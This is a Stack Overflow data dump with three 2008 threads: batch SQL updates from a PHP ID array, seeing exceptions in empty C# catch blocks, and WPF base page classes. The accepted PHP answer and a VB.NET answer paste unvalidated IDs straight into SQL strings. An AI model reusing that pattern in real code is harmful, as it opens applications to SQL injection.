"author_profile": "https://Stackoverflow.com/users/4249",
"pm_score": 3,
"selected": false,
"text": "<p>You should be able to use the IN clause (assuming your database supports it):</p>\n\n<p><code>UPDATE foo\nSET flag=true\nWHERE id in (1, 2, 3, 5, 6)</code></p>\n"
},
{
"answer_id": 39804,
"author": "Ryan Ahearn",
"author_id": 75,
"author_profile": "https://Stackoverflow.com/users/75",
"pm_score": 0,
"selected": false,
"text": "<p>I haven't ever seen a way to do that other than your foreach loop.</p>\n\n<p>But, if $list is in any way gotten from the user, you should stick to using the prepared statement and just updating a row at a time (assuming someone doesn't have a way to update several rows with a prepared statement). Otherwise, you are wide open to sql injection.</p>\n"
},
{
"answer_id": 39805,
"author": "Forgotten Semicolon",
"author_id": 1960,
"author_profile": "https://Stackoverflow.com/users/1960",
"pm_score": 1,
"selected": false,
"text": "<p>Use join/implode to make a comma-delimited list to end up with:</p>\n\n<pre><code>UPDATE foo SET flag=true WHERE id IN (1,2,3,4)\n</code></pre>\n"
},
{
"answer_id": 39807,
"author": "Chris Bartow",
"author_id": 497,
"author_profile": "https://Stackoverflow.com/users/497",
"pm_score": 4,
"selected": true,
"text": "<p>This would achieve the same thing, but probably won't yield much of a speed increase, but looks nicer.</p>\n\n<pre><code>mysql_query(\"UPDATE foo SET flag=true WHERE id IN (\".implode(', ',$list).\")\");\n</code></pre>\n"
},
{
"answer_id": 39808,
"author": "jason saldo",
"author_id": 1293,
"author_profile": "https://Stackoverflow.com/users/1293",
"pm_score": 0,
"selected": false,
"text": "<p>you can jam you update with case statements but you will have to build the query on your own.</p>\n\n<pre><code>UPDATE foo\nSET flag=CASE ID WHEN 5 THEN true ELSE flag END \n ,flag=CASE ID WHEN 6 THEN false ELSE flag END \nWHERE id in (5,6) \n</code></pre>\n\n<p>The where can be omitted but saves you from a full table update.</p>\n"
},
{
"answer_id": 39809,
"author": "csmba",
"author_id": 350,
"author_profile": "https://Stackoverflow.com/users/350",
"pm_score": 0,
"selected": false,
"text": "<p><strong>VB.NET code:</strong>\ndim delimitedIdList as string = arrayToString(listOfIds)</p>\n\n<p>dim SQL as string = \" UPDATE foo SET flag=true WHERE id in (\" + delimitedIdList + \")\"</p>\n\n<p>runSql(SQL)</p>\n"
},
{
"answer_id": 39811,
"author": "Michał Niedźwiedzki",
"author_id": 2169,
"author_profile": "https://Stackoverflow.com/users/2169",
"pm_score": 3,
"selected": false,
"text": "<p>Use IN statement. Provide comma separated list of key values. You can easily do so using <code>implode</code> function.</p>\n\n<pre><code>UPDATE foo SET flag = true WHERE id IN (1, 2, 3, 4, 5, ...)\n</code></pre>\n\n<p>Alternatively you can use condition:</p>\n\n<pre><code>UPDATE foo SET flag = true WHERE flag = false\n</code></pre>\n\n<p>or subquery:</p>\n\n<pre><code>UPDATE foo SET flag = true WHERE id IN (SELECT id FROM foo WHERE .....)\n</code></pre>\n"
},
{
"answer_id": 39825,
"author": "hamishmcn",
"author_id": 3590,
"author_profile": "https://Stackoverflow.com/users/3590",
"pm_score": 0,
"selected": false,
"text": "<p>If you know a bound on the number of items then use the \"IN\" clause, as others have suggested:</p>\n\n<pre><code>UPDATE foo SET flag=true WHERE id in (1, 2, 3, 5, 6)\n</code></pre>\n\n<p>One warning though, is that depending on your db there may be a limit to the number of elements in the clause. Eg oracle 7 or 8 (?) used to have a limit of 256 items (this was increased significantly in later versions)<br>\nIf you do iterate over a list use a transaction so you can rollback if one of the updates fails</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39792",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4224/"
] | I have an SQL query that takes the following form:
```
UPDATE foo
SET flag=true
WHERE id=?
```
I also have a PHP array which has a list of IDs. What is the best way to accomplish this other than with parsing, as follows, ...
```
foreach($list as $item){
$querycondition = $querycondition . " OR " . $item;
}
```
... and using the output in the `WHERE` clause? | This would achieve the same thing, but probably won't yield much of a speed increase, but looks nicer.
```
mysql_query("UPDATE foo SET flag=true WHERE id IN (".implode(', ',$list).")");
``` |
39,824 | <p>I'm debugging a production application that has a rash of empty catch blocks <em>sigh</em>:</p>
<pre><code>try {*SOME CODE*}
catch{}
</code></pre>
<p>Is there a way of seeing what the exception is when the debugger hits the catch in the IDE?</p>
| [
{
"answer_id": 39827,
"author": "Johnno Nolan",
"author_id": 1116,
"author_profile": "https://Stackoverflow.com/users/1116",
"pm_score": 0,
"selected": false,
"text": "<p>Can't you just add an Exception at that point and inspect it?</p>\n"
},
{
"answer_id": 39831,
"author": "Mike Schall",
"author_id": 4231,
"author_profile": "https://Stackoverflow.com/users/4231",
"pm_score": 2,
"selected": false,
"text": "<p>In Visual Studio - Debug -> Exceptions -> Check the box by \"Common Language Runtime Exceptions\" in the Thrown Column</p>\n"
},
{
"answer_id": 39832,
"author": "AdamB",
"author_id": 2176,
"author_profile": "https://Stackoverflow.com/users/2176",
"pm_score": 5,
"selected": true,
"text": "<p>In VS, if you look in the Locals area of your IDE while inside the catch block, you will have something to the effect of $EXCEPTION which will have all of the information for the exception that was just caught.</p>\n"
},
{
"answer_id": 39833,
"author": "John Rutherford",
"author_id": 3880,
"author_profile": "https://Stackoverflow.com/users/3880",
"pm_score": 1,
"selected": false,
"text": "<p>You can write</p>\n\n<pre><code>catch (Exception ex) { }\n</code></pre>\n\n<p>Then when an exception is thrown and caught here, you can inspect ex.</p>\n"
},
{
"answer_id": 39834,
"author": "Nick Berardi",
"author_id": 17,
"author_profile": "https://Stackoverflow.com/users/17",
"pm_score": 1,
"selected": false,
"text": "<p>No it is impossible, because that code block says \"I don't care about the exception\". You could do a global find and replace with the following code to see the exception.</p>\n\n<pre><code>catch {}\n</code></pre>\n\n<p>with the following</p>\n\n<pre><code>catch (Exception exc) {\n#IF DEBUG\n object o = exc;\n#ENDIF\n}\n</code></pre>\n\n<p>What this will do is keep your current do nothing catch for Production code, but when running in DEBUG it will allow you to set break points on object o.</p>\n"
},
{
"answer_id": 39840,
"author": "Chris Karcher",
"author_id": 2773,
"author_profile": "https://Stackoverflow.com/users/2773",
"pm_score": 1,
"selected": false,
"text": "<p>If you're using Visual Studio, there's the option to break whenever an exception is thrown, regardless of whether it's unhandled or not. When the exception is thrown, the exception helper (maybe only VS 2005 and later) will tell you what kind of exception it is.</p>\n\n<p>Hit <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>E</kbd> to bring up the exception options dialog and turn this on.</p>\n"
},
{
"answer_id": 39841,
"author": "Nick Berardi",
"author_id": 17,
"author_profile": "https://Stackoverflow.com/users/17",
"pm_score": 0,
"selected": false,
"text": "<p>@sectrean</p>\n\n<p>That doesn't work because the compiler ignores the Exception ex value if there is nothing using it.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39824",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4271/"
] | I'm debugging a production application that has a rash of empty catch blocks *sigh*:
```
try {*SOME CODE*}
catch{}
```
Is there a way of seeing what the exception is when the debugger hits the catch in the IDE? | In VS, if you look in the Locals area of your IDE while inside the catch block, you will have something to the effect of $EXCEPTION which will have all of the information for the exception that was just caught. |
39,843 | <p>I have decided that all my WPF pages need to register a routed event. Rather than include</p>
<pre><code>public static readonly RoutedEvent MyEvent= EventManager.RegisterRoutedEvent("MyEvent", RoutingStrategy.Bubble, typeof(RoutedEventHandler), typeof(BasePage));
</code></pre>
<p>on every page, I decided to create a base page (named BasePage). I put the above line of code in my base page and then changed a few of my other pages to derive from BasePage. I can't get past this error:</p>
<blockquote>
<p>Error 12 'CTS.iDocV7.BasePage' cannot
be the root of a XAML file because it
was defined using XAML. Line 1
Position
22. C:\Work\iDoc7\CTS.iDocV7\UI\Quality\QualityControlQueuePage.xaml 1 22 CTS.iDocV7</p>
</blockquote>
<p>Does anyone know how to best create a base page when I can put events, properties, methods, etc that I want to be able to use from any wpf page?</p>
| [
{
"answer_id": 40330,
"author": "Daren Thomas",
"author_id": 2260,
"author_profile": "https://Stackoverflow.com/users/2260",
"pm_score": 2,
"selected": false,
"text": "<p>I'm not sure on this one, but looking at your error, I would try to define the base class with just c# (.cs) code - do not create one with XAML, just a standard .cs file that extends the WPF Page class.</p>\n"
},
{
"answer_id": 40868,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 6,
"selected": true,
"text": "<p>Here's how I've done this in my current project.</p>\n\n<p>First I've defined a class (as @Daren Thomas said - just a plain old C# class, no associated XAML file), like this (and yes, this is a real class - best not to ask):</p>\n\n<pre><code>public class PigFinderPage : Page\n{\n /* add custom events and properties here */\n}\n</code></pre>\n\n<p>Then I create a new Page and change its XAML declaration to this:</p>\n\n<pre><code><my:PigFinderPage x:Class=\"Qaf.PigFM.WindowsClient.PenSearchPage\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n xmlns:my=\"clr-namespace:Qaf.PigFM.WindowsClient\"\n />\n</code></pre>\n\n<p>So I declare it as a PigFinderPage in the \"my\" namespace. Any page-wide resources you need have to be declared using a similar syntax:</p>\n\n<pre><code><my:PigFinderPage.Resources>\n <!-- your resources go here -->\n</my:PigFinderPage.Resources>\n</code></pre>\n\n<p>Lastly, switch to the code-behind for this new page, and change its class declaration so that it derives from your custom class rather than directly from Page, like this:</p>\n\n<pre><code>public partial class EarmarkSearchPage : PigFinderPage\n</code></pre>\n\n<p>Remember to keep it as a partial class.</p>\n\n<p>That's working a treat for me - I can define a bunch of custom properties and events back in \"PigFinderPage\" and use them in all the descendants.</p>\n"
},
{
"answer_id": 40918,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 2,
"selected": false,
"text": "<p>Also, have a look at <a href=\"http://msdn.microsoft.com/en-us/library/bb613550.aspx\" rel=\"nofollow noreferrer\">Attached Events</a> and see if you can attach your event to every Page in your app. Might be easier than a custom intermediary class.</p>\n"
},
{
"answer_id": 18911021,
"author": "Farzad J",
"author_id": 199769,
"author_profile": "https://Stackoverflow.com/users/199769",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"http://weblogs.asp.net/psheriff/archive/2009/11/02/creating-a-base-window-class-in-wpf.aspx\" rel=\"nofollow\">Here</a> is a tutorial too !\nit's pretty simple and easy.</p>\n"
},
{
"answer_id": 32494996,
"author": "Myosotis",
"author_id": 1756640,
"author_profile": "https://Stackoverflow.com/users/1756640",
"pm_score": 1,
"selected": false,
"text": "<p>Little update : I just tried to do it, and it didn't work. He is what I changed to solve the problem:</p>\n\n<p>1.In many forums, you will read that the sub pages must inherit from a simple cs class, without XAML. Though it works. I do inherit from a normal XAML page without any problem.</p>\n\n<p>2.I replaced the following code :</p>\n\n<pre><code><my:PigFinderPage x:Class=\"Qaf.PigFM.WindowsClient.PenSearchPage\"\nxmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\nxmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\nxmlns:my=\"clr-namespace:Qaf.PigFM.WindowsClient\"\n/>\n</code></pre>\n\n<p>with</p>\n\n<pre><code><my:PigFinderPage x:Class=\"Qaf.PigFM.WindowsClient.PenSearchPage\"\nxmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\nxmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\nxmlns:my=\"using:Qaf.PigFM.WindowsClient\"\n/>\n</code></pre>\n\n<p>because when I had \"clr-namespace\" instead of \"using\", the Intellisense could recognize PigFinderPage, but not the compiler.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39843",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3047/"
] | I have decided that all my WPF pages need to register a routed event. Rather than include
```
public static readonly RoutedEvent MyEvent= EventManager.RegisterRoutedEvent("MyEvent", RoutingStrategy.Bubble, typeof(RoutedEventHandler), typeof(BasePage));
```
on every page, I decided to create a base page (named BasePage). I put the above line of code in my base page and then changed a few of my other pages to derive from BasePage. I can't get past this error:
>
> Error 12 'CTS.iDocV7.BasePage' cannot
> be the root of a XAML file because it
> was defined using XAML. Line 1
> Position
> 22. C:\Work\iDoc7\CTS.iDocV7\UI\Quality\QualityControlQueuePage.xaml 1 22 CTS.iDocV7
>
>
>
Does anyone know how to best create a base page when I can put events, properties, methods, etc that I want to be able to use from any wpf page? | Here's how I've done this in my current project.
First I've defined a class (as @Daren Thomas said - just a plain old C# class, no associated XAML file), like this (and yes, this is a real class - best not to ask):
```
public class PigFinderPage : Page
{
/* add custom events and properties here */
}
```
Then I create a new Page and change its XAML declaration to this:
```
<my:PigFinderPage x:Class="Qaf.PigFM.WindowsClient.PenSearchPage"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:my="clr-namespace:Qaf.PigFM.WindowsClient"
/>
```
So I declare it as a PigFinderPage in the "my" namespace. Any page-wide resources you need have to be declared using a similar syntax:
```
<my:PigFinderPage.Resources>
<!-- your resources go here -->
</my:PigFinderPage.Resources>
```
Lastly, switch to the code-behind for this new page, and change its class declaration so that it derives from your custom class rather than directly from Page, like this:
```
public partial class EarmarkSearchPage : PigFinderPage
```
Remember to keep it as a partial class.
That's working a treat for me - I can define a bunch of custom properties and events back in "PigFinderPage" and use them in all the descendants. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.